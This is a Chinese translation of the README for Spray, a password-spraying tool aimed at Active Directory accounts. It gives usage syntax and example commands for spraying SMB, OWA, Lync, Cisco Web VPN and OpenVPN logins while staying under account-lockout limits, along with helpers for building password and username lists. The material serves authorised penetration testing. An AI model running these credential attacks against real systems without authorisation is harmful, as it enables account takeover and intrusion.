一个用于Active Directory凭据的密码喷洒工具,作者:Jacob Wilkin (Greenwolf)
以下说明将展示运行Spray所需的系统要求及使用方法。
所有依赖在Kali Linux上均已预装。若要在其他Linux发行版或macOS上运行,只需确保使用apt-get或brew安装curl(用于OWA和Lync)和rpcclient(用于SMB)即可。(rpcclient在macOS上不可用,因此SMB喷洒功能无法运行。)
rpcclient
curl
该脚本会在一段时间内对目标进行密码喷洒。 需要提供密码策略作为输入,以避免账户被锁定。
该脚本附带了一系列针对多种语言精心制作的密码文件。这些文件基于各种语言中最常见的Active Directory密码构建而成,并且全部符合复杂密码要求(1个大写、1个小写、1个数字)。
要对SMB门户进行密码喷洒,需要提供用户列表、密码列表、每个锁定周期内的尝试次数、锁定周期时长以及域名。
用法: spray.sh -smb <目标IP> <用户列表> <密码列表> <每个锁定周期尝试次数> <锁定周期分钟数> <域名>
示例: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS
可选参数:跳过 用户名%用户名 喷洒: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS skipuu
要对OWA门户进行密码喷洒,需要创建一个POST请求文件,其中用户名设为 [email protected],密码设为 spraypassword。
用法: spray.sh -owa <目标IP> <用户列表> <密码列表> <每个锁定周期尝试次数> <锁定周期分钟数> <请求文件>
示例: spray.sh -owa 192.168.0.1 users.txt passwords.txt 1 35 post-request.txt
要对Lync服务进行密码喷洒,需要提供Lync自动发现URL或一个能返回www-authenticate头的URL,以及电子邮件地址列表。
用法: spray.sh -lync <目标IP> <用户列表> <密码列表> <每个锁定周期尝试次数> <锁定周期分钟数>
示例: spray.sh -lync https://lyncdiscover.spiderlabs.com/ users.txt passwords.txt 1 35
示例: spray.sh -lync https://lyncweb.spiderlabs.com/Autodiscover/AutodiscoverService.svc/root/oauth/user users.txt passwords.txt 1 35
要对CISCO Web VPN服务进行密码喷洒,需要提供目标门户或托管门户的服务器地址。
用法: spray.sh -cisco <目标URL> <用户列表> <密码列表> <每个锁定周期尝试次数> <锁定周期分钟数>
示例: spray.sh -cisco 192.168.0.1 usernames.txt passwords.txt 1 35
要对OpenVPN Web门户进行密码喷洒,需要提供目标IP地址和端口。
用法: spray.sh -ovpn <目标IP> <目标端口> <用户列表> <密码列表> <每个锁定周期尝试次数> <锁定周期分钟数>
示例: spray.sh -ovpn 192.168.0.1 943 usernames.txt passwords.txt 1 35
还可以将提供的2016/2017年份密码列表更新为当前年份。
用法: spray.sh -passupdate <密码列表>
示例: spray.sh -passupdate passwords.txt
可选地,可以提供一个公司名称以添加到列表中。
用法: spray.sh -passupdate <密码列表> <公司名称>
示例: spray.sh -passupdate passwords.txt Spiderlabs
也可以根据常见名字列表生成用户名列。
用法: spray.sh -genusers <名字列表> <姓氏列表> "<<fi><li><fn><ln>>"
示例: spray.sh -genusers english-first-1000.txt english-last-1000.txt "<fi><ln>"
示例: spray.sh -genusers english-first-1000.txt english-last-1000.txt "<fn>.<ln>"
如果这个工具对你有用,欢迎请我喝杯咖啡 :)
Spray 由 Jacob Wilkin 创建 版权所有 (C) 2017 Trustwave Holdings, Inc.
本程序为自由软件:你可以重新分发和/或修改它 遵循自由软件基金会发布的GNU通用公共许可证第三版 或(按你的选择)任何后续版本的条款。
本程序在分发时希望它会有用, 但没有任何担保;甚至没有适销性或特定用途的隐含担保。 详情请参阅GNU通用公共许可证。